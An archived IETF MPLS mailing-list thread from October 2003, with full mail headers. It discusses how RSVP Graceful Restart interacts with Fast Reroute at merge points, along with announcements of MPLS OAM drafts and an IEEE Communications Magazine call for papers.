Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpmjj22556
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 28 Oct 2003 14:50:53 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpmjj27991
	for <mpls@UU.NET>; Tue, 28 Oct 2003 14:47:16 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmjj12361
	for <mpls@UU.NET>; Tue, 28 Oct 2003 14:47:16 GMT
Received: from kummer.juniper.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: natint2.juniper.net [207.17.136.150])
	id QQpmjj12301
	for <mpls@UU.NET>; Tue, 28 Oct 2003 14:47:14 GMT
Received: from kummer.juniper.net (localhost [127.0.0.1])
	by kummer.juniper.net (8.12.8p1/8.12.3) with ESMTP id h9SElB9r048296;
	Tue, 28 Oct 2003 06:47:11 -0800 (PST)
	(envelope-from kireeti@juniper.net)
Received: from localhost (kireeti@localhost)
	by kummer.juniper.net (8.12.8p1/8.12.3/Submit) with ESMTP id h9SElBPV048293;
	Tue, 28 Oct 2003 06:47:11 -0800 (PST)
X-Authentication-Warning: kummer.juniper.net: kireeti owned process doing -bs
Date: Tue, 28 Oct 2003 06:47:11 -0800 (PST)
From: Kireeti Kompella <kireeti@juniper.net>
To: Nic Neate <Nic.Neate@dataconnection.com>
cc: "'mpls@uu.net'" <mpls@UU.NET>, "'ccamp@ops.ietf.org'" <ccamp@ops.ietf.org>
Subject: RE: RSVP Graceful Restart
In-Reply-To: <53F74F5A7B94D511841C00B0D0AB16F802870717@baker.datcon.co.uk>
Message-ID: <20031027065317.V42465@kummer.juniper.net>
References: <53F74F5A7B94D511841C00B0D0AB16F802870717@baker.datcon.co.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Nic,

On Mon, 27 Oct 2003, Nic Neate wrote:

> The issue with that is not with overlap in the problems they are solving,
> but in recovering FRR backup and protected LSPs (which may not be being
> refreshed from upstream) after a restart.  Is this a problem that interests
> you?

Thanks for clarifying.  I agree that networks will have both GR and
FRR.  In principle, I agree that this (recovering FRR sessions during
GR) is a problem that needs to be solved.  However, the premise here
is that during GR (hopefully a small time window, say a couple of
minutes), you have a second failure (of a link or a node).

Yes, it's possible to have multiple failures, but the combination of a
control plane failure recoverable by GR and a link/node failure that
requires FRR seems remote.

A practical solution (that may not satisfy all) is for GR to recover
'regular' LSPs sessions, and to re-initiate FRR sessions; and to abort
GR if a second failure occurs that would have necessitated FRR.

On the other hand, let me not discourage you.  Let's take a look at
solutions, and see how simple/complex they are before ruling on the
protocol work.

Kireeti.
-------


From owner-mpls@UU.NET  Tue Oct 28 10:48:00 2003
Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA01675
	for <mpls-archive@lists.ietf.org>; Tue, 28 Oct 2003 10:47:58 -0500 (EST)
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmjn24544
	for <mpls-archive@lists.ietf.org>; Tue, 28 Oct 2003 15:48:05 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmjn24012;
	Tue, 28 Oct 2003 15:47:49 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmjl15275
	for mpls-outgoing; Tue, 28 Oct 2003 15:25:24 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpmjl15270
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 28 Oct 2003 15:25:17 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpmjl04579
	for <mpls@UU.NET>; Tue, 28 Oct 2003 15:23:13 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmjl06572
	for <mpls@UU.NET>; Tue, 28 Oct 2003 15:23:13 GMT
Received: from mail.avici.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [12.38.212.174])
	id QQpmjl06558
	for <mpls@UU.NET>; Tue, 28 Oct 2003 15:23:12 GMT
Received: from aatlas-lt2.avici.com ([10.2.103.67])
	by mail.avici.com (8.12.8/8.12.8) with ESMTP id h9SFMuGT004936;
	Tue, 28 Oct 2003 10:22:56 -0500
Message-Id: <5.1.0.14.2.20031028102301.01d0e270@mailhost.avici.com>
X-Sender: aatlas@mailhost.avici.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Date: Tue, 28 Oct 2003 10:26:28 -0500
To: Kireeti Kompella <kireeti@juniper.net>
From: Alia Atlas <aatlas@avici.com>
Subject: RE: RSVP Graceful Restart
Cc: Nic Neate <Nic.Neate@dataconnection.com>, "'mpls@uu.net'" <mpls@UU.NET>,
        "'ccamp@ops.ietf.org'" <ccamp@ops.ietf.org>
In-Reply-To: <20031027065317.V42465@kummer.juniper.net>
References: <53F74F5A7B94D511841C00B0D0AB16F802870717@baker.datcon.co.uk>
 <53F74F5A7B94D511841C00B0D0AB16F802870717@baker.datcon.co.uk>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Nic & Kireeti,

Why is it necessary to recover a protected LSP between the active PLR and 
the merge node?  That protected LSP will not be used; if one reverts back 
to it, then it can be actively recreated, which has to happen today anyhow.

The merge node can ensure that the primary is recovered for itself and 
downstream.  The PLR can ensure it recovers its backup and the primary itself.

What I am missing in the problem statement?

Thanks,
Alia

At 09:47 AM 10/28/2003, Kireeti Kompella wrote:
>Hi Nic,
>
>On Mon, 27 Oct 2003, Nic Neate wrote:
>
> > The issue with that is not with overlap in the problems they are solving,
> > but in recovering FRR backup and protected LSPs (which may not be being
> > refreshed from upstream) after a restart.  Is this a problem that interests
> > you?
>
>Thanks for clarifying.  I agree that networks will have both GR and
>FRR.  In principle, I agree that this (recovering FRR sessions during
>GR) is a problem that needs to be solved.  However, the premise here
>is that during GR (hopefully a small time window, say a couple of
>minutes), you have a second failure (of a link or a node).
>
>Yes, it's possible to have multiple failures, but the combination of a
>control plane failure recoverable by GR and a link/node failure that
>requires FRR seems remote.
>
>A practical solution (that may not satisfy all) is for GR to recover
>'regular' LSPs sessions, and to re-initiate FRR sessions; and to abort
>GR if a second failure occurs that would have necessitated FRR.
>
>On the other hand, let me not discourage you.  Let's take a look at
>solutions, and see how simple/complex they are before ruling on the
>protocol work.
>
>Kireeti.
>-------




From owner-mpls@UU.NET  Tue Oct 28 11:06:29 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03703
	for <mpls-archive@lists.ietf.org>; Tue, 28 Oct 2003 11:06:29 -0500 (EST)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmjo11612
	for <mpls-archive@lists.ietf.org>; Tue, 28 Oct 2003 16:06:38 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmjo11009;
	Tue, 28 Oct 2003 16:06:26 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmjn17546
	for mpls-outgoing; Tue, 28 Oct 2003 15:50:15 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpmjn17536
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 28 Oct 2003 15:50:10 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpmjn24119
	for <mpls@UU.NET>; Tue, 28 Oct 2003 15:47:40 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmjn07621
	for <mpls@UU.NET>; Tue, 28 Oct 2003 15:47:39 GMT
Received: from miles.dataconnection.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp2.dataconnection.com [192.91.191.8])
	id QQpmjn07602
	for <mpls@UU.NET>; Tue, 28 Oct 2003 15:47:39 GMT
Received: by miles.datcon.co.uk with Internet Mail Service (5.5.2656.59)
	id <49TPB61T>; Tue, 28 Oct 2003 15:47:36 -0000
Message-ID: <53F74F5A7B94D511841C00B0D0AB16F802870729@baker.datcon.co.uk>
From: Nic Neate <Nic.Neate@dataconnection.com>
To: "'Alia Atlas'" <aatlas@avici.com>,
        Juniper - Kireeti Kompella
	 <kireeti@juniper.net>
Cc: "'mpls@uu.net'" <mpls@UU.NET>,
        "'ccamp@ops.ietf.org'"
	 <ccamp@ops.ietf.org>
Subject: RE: RSVP Graceful Restart
Date: Tue, 28 Oct 2003 15:47:27 -0000
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2656.59)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi Alia,

The problem I described was actually at a merge point.

The sequence of events is this.
1.  MP set up as usual.
2.  Upstream failure on protected LSP triggers a reroute at the upstream
PLR.  The MP stops receiving Path Refreshes on the protected LSP.  It
continues to receive them on the merging backup over which data traffic is
also now arriving.
3.  MP has a control plane failure, but data plane survives.
4.  MP control plane restarts and GR mechanisms at that node have to
construct a Path Refresh to send downstream on the protected LSP when the
only Path Refreshes being received are on the merging backup.  There are
various issues here as described in my last email.

I don't think this is an insignificant timing window.  The lack of refreshes
at the MP should be resolved by either local revertive behavior on the
protected LSP or a make-before-break of the protected LSP, but that may take
some time.

Because no Path Refreshes are arriving on the protected LSP in this period,
it is not an option to just use regular restart mechanisms to recover the
LSP and then reinitiate the FRR protection.

Let me know if anything's not clear,

Nic


-----Original Message-----
From: Alia Atlas [mailto:aatlas@avici.com]
Sent: Tuesday, October 28, 2003 3:26 PM
To: Juniper - Kireeti Kompella
Cc: Nic Neate; 'mpls@uu.net'; 'ccamp@ops.ietf.org'
Subject: RE: RSVP Graceful Restart


Hi Nic & Kireeti,

Why is it necessary to recover a protected LSP between the active PLR and 
the merge node?  That protected LSP will not be used; if one reverts back 
to it, then it can be actively recreated, which has to happen today anyhow.

The merge node can ensure that the primary is recovered for itself and 
downstream.  The PLR can ensure it recovers its backup and the primary
itself.

What I am missing in the problem statement?

Thanks,
Alia

At 09:47 AM 10/28/2003, Kireeti Kompella wrote:
>Hi Nic,
>
>On Mon, 27 Oct 2003, Nic Neate wrote:
>
> > The issue with that is not with overlap in the problems they are
solving,
> > but in recovering FRR backup and protected LSPs (which may not be being
> > refreshed from upstream) after a restart.  Is this a problem that
interests
> > you?
>
>Thanks for clarifying.  I agree that networks will have both GR and
>FRR.  In principle, I agree that this (recovering FRR sessions during
>GR) is a problem that needs to be solved.  However, the premise here
>is that during GR (hopefully a small time window, say a couple of
>minutes), you have a second failure (of a link or a node).
>
>Yes, it's possible to have multiple failures, but the combination of a
>control plane failure recoverable by GR and a link/node failure that
>requires FRR seems remote.
>
>A practical solution (that may not satisfy all) is for GR to recover
>'regular' LSPs sessions, and to re-initiate FRR sessions; and to abort
>GR if a second failure occurs that would have necessitated FRR.
>
>On the other hand, let me not discourage you.  Let's take a look at
>solutions, and see how simple/complex they are before ruling on the
>protocol work.
>
>Kireeti.
>-------



From owner-mpls@UU.NET  Tue Oct 28 11:07:09 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03835
	for <mpls-archive@lists.ietf.org>; Tue, 28 Oct 2003 11:07:08 -0500 (EST)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmjo13182
	for <mpls-archive@lists.ietf.org>; Tue, 28 Oct 2003 16:07:18 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmjo12895;
	Tue, 28 Oct 2003 16:07:10 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmjn17396
	for mpls-outgoing; Tue, 28 Oct 2003 15:47:33 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQpmjn17391
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 28 Oct 2003 15:47:29 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQpmjn29213
	for <mpls@UU.NET>; Tue, 28 Oct 2003 15:46:48 GMT
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmjn20353
	for <mpls@UU.NET>; Tue, 28 Oct 2003 15:46:47 GMT
Received: from zcars0m9.nortelnetworks.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: zcars0m9.nortelnetworks.com [47.129.242.157])
	id QQpmjn20341
	for <mpls@UU.NET>; Tue, 28 Oct 2003 15:46:47 GMT
Received: from zcard309.ca.nortel.com (zcard309.ca.nortel.com [47.129.242.69])
	by zcars0m9.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id h9SFkeX20067
	for <mpls@UU.NET>; Tue, 28 Oct 2003 10:46:40 -0500 (EST)
Received: by zcard309.ca.nortel.com with Internet Mail Service (5.5.2653.19)
	id <VRTPCBPB>; Tue, 28 Oct 2003 10:46:41 -0500
Message-ID: <FFFC48AEAA5F7447929F4F0D93FCC12D02B926D1@zcard031.ca.nortel.com>
From: "David Allan" <dallan@nortelnetworks.com>
To: mpls wg <mpls@UU.NET>
Subject: New drafts
Date: Tue, 28 Oct 2003 10:46:38 -0500
X-Mailer: Internet Mail Service (5.5.2653.19)
Sender: owner-mpls@UU.NET
Precedence: bulk


Posted these last week:

A Framework for MPLS Data Plane OAM.

http://www.ietf.org/internet-drafts/draft-allan-mpls-oam-frmwk-05.txt



Overview of the FEC-CV proposed extension to the Y.1711 protocol

http://www.ietf.org/internet-drafts/draft-allan-fec-cv-overview-01.txt

As always, comments welcome

Dave


From owner-mpls@UU.NET  Tue Oct 28 11:19:36 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA04829
	for <mpls-archive@lists.ietf.org>; Tue, 28 Oct 2003 11:19:35 -0500 (EST)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmjp04088
	for <mpls-archive@lists.ietf.org>; Tue, 28 Oct 2003 16:19:46 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmjp03765;
	Tue, 28 Oct 2003 16:19:32 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmjn18148
	for mpls-outgoing; Tue, 28 Oct 2003 15:57:14 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpmjn18143
	for <mpls@mail-control.ash.ops.us.uu.net>; Tue, 28 Oct 2003 15:57:12 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQpmjn09307
	for <mpls@UU.NET>; Tue, 28 Oct 2003 15:55:27 GMT
Received: from cmr1.ash.ops.us.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmjn08332
	for <mpls@UU.NET>; Tue, 28 Oct 2003 15:55:26 GMT
Received: from tiger.seabridge.co.il by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [212.25.127.226])
	id QQpmjn08107
	for <mpls@UU.NET>; Tue, 28 Oct 2003 15:55:20 GMT
Received: by tiger.seabridge.co.il with Internet Mail Service (5.5.2653.19)
	id <V1ZDDVKR>; Tue, 28 Oct 2003 17:55:26 +0200
Message-ID: <C87E5A01714C7840B92CDED9E79329CA0117D096@leopard.seabridge.co.il>
From: Nurit Sprecher <nurit.sprecher@SeabridgeNetworks.com>
To: "'Kireeti Kompella'" <kireeti@juniper.net>,
        Nic Neate
	 <Nic.Neate@dataconnection.com>
Cc: "'mpls@uu.net'" <mpls@UU.NET>,
        "'ccamp@ops.ietf.org'"
	 <ccamp@ops.ietf.org>
Subject: RE: RSVP Graceful Restart
Date: Tue, 28 Oct 2003 17:55:16 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,
1. There are also issues not necessarily related to multiple errors in the
network. A MP of multiple detours should know which detour should be
refreshed downstream, etc.
2. You say, "A practical solution (that may not satisfy all) is for GR to
recover 'regular' LSPs sessions, and to re-initiate FRR sessions; and to
abort GR if a second failure occurs that would have necessitated FRR.". 
a. The entire LSP should be tuned with this (upstream detours that are
merged in the restarted node are affected, etc.).  This becomes to be not so
graceful

I think that this interworking of FRR and graceful restart should be
analyzed and the protocol may be needed to support it.
Nurit,


-----Original Message-----
From: Kireeti Kompella [mailto:kireeti@juniper.net]
Sent: Tuesday, October 28, 2003 16:47
To: Nic Neate
Cc: 'mpls@uu.net'; 'ccamp@ops.ietf.org'
Subject: RE: RSVP Graceful Restart

Hi Nic,

On Mon, 27 Oct 2003, Nic Neate wrote:

> The issue with that is not with overlap in the problems they are solving,
> but in recovering FRR backup and protected LSPs (which may not be being
> refreshed from upstream) after a restart.  Is this a problem that
interests
> you?

Thanks for clarifying.  I agree that networks will have both GR and
FRR.  In principle, I agree that this (recovering FRR sessions during
GR) is a problem that needs to be solved.  However, the premise here
is that during GR (hopefully a small time window, say a couple of
minutes), you have a second failure (of a link or a node).

Yes, it's possible to have multiple failures, but the combination of a
control plane failure recoverable by GR and a link/node failure that
requires FRR seems remote.

A practical solution (that may not satisfy all) is for GR to recover
'regular' LSPs sessions, and to re-initiate FRR sessions; and to abort
GR if a second failure occurs that would have necessitated FRR.

On the other hand, let me not discourage you.  Let's take a look at
solutions, and see how simple/complex they are before ruling on the
protocol work.

Kireeti.
-------


From owner-mpls@UU.NET  Wed Oct 29 16:04:17 2003
Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA06173
	for <mpls-archive@lists.ietf.org>; Wed, 29 Oct 2003 16:04:17 -0500 (EST)
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmoa29146
	for <mpls-archive@lists.ietf.org>; Wed, 29 Oct 2003 21:04:26 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmoa28818;
	Wed, 29 Oct 2003 21:04:18 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmnz27174
	for mpls-outgoing; Wed, 29 Oct 2003 20:46:40 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQpmnz27152
	for <mpls@mail-control.ash.ops.us.uu.net>; Wed, 29 Oct 2003 20:46:34 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpmny10376
	for <mpls@uu.net>; Wed, 29 Oct 2003 20:42:14 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmny11260
	for <mpls@uu.net>; Wed, 29 Oct 2003 20:42:13 GMT
Received: from smtp015.mail.yahoo.com by cmr0.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: smtp015.mail.yahoo.com [216.136.173.59])
	id QQpmny11221
	for <mpls@uu.net>; Wed, 29 Oct 2003 20:42:12 GMT
Received: from adsl-63-206-88-169.dsl.snfc21.pacbell.net (HELO METANOIA) (vsharma87@63.206.88.169 with login)
  by smtp.mail.vip.sc5.yahoo.com with SMTP; 29 Oct 2003 20:42:11 -0000
Reply-To: <v.sharma@ieee.org>
From: "Vishal Sharma" <v.sharma@ieee.org>
To: "CCAMP" <ccamp@ops.ietf.org>, "MPLS" <mpls@UU.NET>,
        "L2PPVPN" <l2vpn@ietf.org>, "L3PPVPN" <l3vpn@ietf.org>,
        "PWE3" <pwe3@ietf.org>, <tsg13q3@itu.int>
Cc: "Monique J. Morrow" <mmorrow@cisco.com>, "Tom Nadeau" <tnadeau@cisco.com>
Subject: Update: "OAM in MPLS-based Networks": IEEE Comm. Mag. Sp. Issue 
Date: Wed, 29 Oct 2003 12:39:42 -0800
Message-ID: <MMECLKMDFPCEJFECIBCMIEFADOAA.v.sharma@ieee.org>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Folks,

The deadline for this FT issue is fast approaching, and this
is for those who may have either missed the earlier announcements
or have been in "thinking about it" mode. :-)

We really appreciate the interest the issue has received, and
are excited to have already received titles and abstracts from
several contributors.

If you have been thinking about contributing, please send
us, the title and abstract for your contribution at the
earliest.

The thoughts and insights of the community are what make
the issues such as this valuable, and so far we seem to be making
very good progress on that front.

Again, thanks to those who are already contributing, and we look
forward to additional participation!

Regards,
-Vishal, Monique, Tom

PS: The submission process is automated and very easy. Pl. check
instructions below.


====================================================================
CALL FOR PAPERS
IEEE Communications Magazine

Feature Topic on "OAM in MPLS-Based Networks"
**********************************************

As carriers and service providers converge multiple services and
associated networks on to an MPLS-based infrastructure, OAM functionality
becomes pivotal for enabling them to provide service level agreement
(SLA) guarantees, service assurance, quality of service (QoS) assurance
and overall interworking service management.  The advent of new applications
of MPLS such as Layer 2 Virtual Private LAN Services (VPLS) and Layer 3
Virtual Private Networks (L3VPNs) also means the emergence of added OAM
requirements from operators deploying those networks. As a result, providers
today require more efficient means of monitoring network health,
performance, and robustness, and of quickly identifying and resolving
performance problems. This is leading to the emergence of improved or
novel tools and techniques, whose goal is to improve security and
billing/accounting, aid in verifying QoS commitments, and reduce
operating costs. Standards organizations such as the IETF and the
ITU have in the recent past done significant work in this area, and
this subject is also being investigated by the IEEE and the Metro
Ethernet Forum.

This feature topic issue of the IEEE Communications Magazine has
a dual focus: to highlight operator requirements and deployment
experiences with OAM in MPLS-based networks, and to present a
survey of the current engineering and research developments in
this area.

Thus, focused tutorial and survey contributions as well as
research papers are solicited on (but not limited to) the following:

* Operational consequences of inadequate OAM capabilities
* Service provider requirements for efficient OAM - current operational
  needs and future demands
* Deployment experiences with OAM over MPLS-based networks
* Overview or comparative analysis of different
  approaches/philosophies for OAM
* Standards activities
	o Emerging architectures
	o New mechanisms for OAM in development
         (e.g. IETF LSP ping, ITU-T Y.1711, virtual circuit
         connection verification (VCCV))
* Platform support for OAM
* OAM impact on edge services (such as metro Ethernet)
  using MPLS transport
* Interoperability issues, interworking with
  other technologies (e.g. ATM)
* Review of current research in the area - E.g. setting
  parameters for connectivity verification and their impact on
  LSP recovery, trade-offs between bandwidth usage by OAM traffic
  and efficiency of failure/anomaly detection, and results from testbed
  deployments or simulations

On-line CFP with submission instructions can be found at:
http://www.comsoc.org/pubs/commag/cfpcommag1004.htm

Submission

Articles should be tutorial in nature and should be written in
a style comprehensible to readers outside the specialty of the article.
Articles may be edited for clarity and grammatical accuracy, and
will be copyedited according to the Magazine's style. Mathematical
equations should not be used (in justified cases up to three simple
equations could be allowed, provided the consent of the Guest Editor;
more than three equations require permission from the Editor-in-Chief).
Articles should have no more than 4,500 words, no more than 6
tables/figures, and no more than 15 references. Guidelines for prospective
authors can be found on-line at:
http://www.comsoc.org/pubs/commag/sub_guidelines.html.
Please submit no later than November 30, 2003. Accepted papers will
also be included in Communications Interactive (CI), the online version
of Communications Magazine.

Schedule:

Manuscript Due:                November 30, 2003
Acceptance Notification:       February 28, 2004
Final Manuscript Due:          April 15, 2004
Publication Date:              October 2004

Guest Editors:

Monique J. Morrow
Cisco Systems, Inc.
Glatt-com
CH-8301 Glattzentrum
Switzerland

Email: mmorrow@cisco.com

Tom Nadeau
Cisco Systems, Inc.
250 Apollo Drive
Chelmsford, MA 01824, USA.

Email: tnadeau@cisco.com

Vishal Sharma
Metanoia, Inc.
1600 Villa Street, Unit 352
Mountain View, CA 94041, USA.

Email: v.sharma@ieee.org

About the IEEE Communications Magazine:

The IEEE Comm. Mag. is the official technical publication of
conferences such as Supercomm, and has the unique distinction of
being the most widely read IEEE journal, with its over 50,000 paid
subscribers representing key communications engineers and
technical managers in our industry. More information
on the IEEE Comm. Mag., may be found here:
www.comsoc.org/adv/pp/Adpp2003revisedweb.ppt




From owner-mpls@UU.NET  Thu Oct 30 05:28:43 2003
Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA16341
	for <mpls-archive@lists.ietf.org>; Thu, 30 Oct 2003 05:28:43 -0500 (EST)
Received: from cmr2.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmqb09117
	for <mpls-archive@lists.ietf.org>; Thu, 30 Oct 2003 10:28:52 GMT
Received: from mail-control.ash.ops.us.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.ash.ops.us.uu.net [153.39.10.50])
	id QQpmqb08901;
	Thu, 30 Oct 2003 10:28:46 GMT
Received: by mail-control.ash.ops.us.uu.net 
	id QQpmqa01658
	for mpls-outgoing; Thu, 30 Oct 2003 10:13:39 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQpmqa01648
	for <mpls@mail-control.ash.ops.us.uu.net>; Thu, 30 Oct 2003 10:13:37 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQpmqa07451
	for <mpls@UU.NET>; Thu, 30 Oct 2003 10:09:52 GMT
Received: from cmr0.ash.ops.us.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: localhost [127.0.0.1])
	id QQpmqa01656
	for <mpls@UU.NET>; Thu, 30 Oct 2003 10:09:52 GMT
Received: from tiger.seabridge.co.il by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [212.25.127.226])
	id QQpmqa01599
	for <mpls@UU.NET>; Thu, 30 Oct 2003 10:09:50 GMT
Received: by tiger.seabridge.co.il with Internet Mail Service (5.5.2653.19)
	id <V1ZDD5YM>; Thu, 30 Oct 2003 12:10:03 +0200
Message-ID: <C87E5A01714C7840B92CDED9E79329CA0117D0A7@leopard.seabridge.co.il>
From: Nurit Sprecher <nurit.sprecher@SeabridgeNetworks.com>
To: "'Adrian Farrel'" <adrian@olddog.co.uk>
Cc: "'mpls@uu.net'" <mpls@UU.NET>, ccamp@ops.ietf.org
Subject: RE: RSVP Graceful Restart
Date: Thu, 30 Oct 2003 12:10:02 +0200
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk


Hi,
I have a question on notifications when FRR is activated.
If an LSP has been established with the 'one-to-one local protection
desired' and a detour has been established at each PLR --> all hops along
the LSP are considered FRR protected. 
